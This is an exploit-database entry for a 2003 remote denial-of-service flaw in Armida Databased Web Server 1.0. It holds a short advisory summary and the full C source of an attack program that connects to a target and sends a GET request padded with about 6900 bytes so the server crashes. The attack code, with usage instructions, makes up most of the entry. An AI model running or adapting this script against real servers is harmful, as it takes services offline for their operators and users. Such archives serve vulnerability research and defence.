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Armida Databased Web Server 1.0 - GET Remote Denial of Service

🗓️ 23 Jun 2003 00:00:00Reported by posidronType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 20 Views

Armida Web Server 1.0 faces remote denial of service via malicious GET requests causing crashes.

Code
// source: https://www.securityfocus.com/bid/8017/info

Armida Databased Web Server is reportedly prone to a remote denial of service when process malicious GET requests. The problem occurs when processing requests containing excessive data.

Exploitation of this vulnerability would result in the remote service crashing. 
Although unconfirmed, due to the nature of this vulnerability it may be possible to supply and execute arbitrary code.

/**************************************************************
*
*     Denial of Service Attack against Armida Web Server v1.0
*    *    Tripbit Security Development
*    ----------------------------
*
*    Author: posidron
*
*    Contact
*    [-] Mail: [email protected]
*    [-] Web: http://www.tripbit.org
*    [-] Forum: http://www.tripbit.org/wbboard
*    [-] IRC: irc.euirc.net 6667 #tripbit
*
*    Greets: #csec, #securecrew, #tripbit
*
**************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
    int port, sockfd;
    struct sockaddr_in server;
    struct hostent *host;
       char send[6915], flood[6900];
    char get[3] = "GET", http[12] = "HTTP/1.0\n\n";
       memset(flood, 'A', 6900);
       strcpy(send, get);
    strcat(send, flood);
    strcat(send, http);

    if(argc < 3)
    {
        printf("Usage: %s [target] <port>\n", argv[0]);
        exit(0);
    }

    port = atoi(argv[2]);

    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
        printf("Connection failed!...\n");
        exit(0);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr((char*)argv[1]);

    printf("DoS against Armida v1.0\n");

    if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
    {
        printf("Can't start socket()!\n");
        exit(0);
    }
       if(connect(sockfd,(struct sockaddr*)&server,sizeof(server)) < 0)
    {
        printf("Can't connect!\n");
        exit(0);
    }
       write(sockfd, send, strlen(send));
       printf("Attack done!...\n");
       close(sockfd);
}

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23 Jun 2003 00:00Current
7.4High risk
Vulners AI Score7.4
20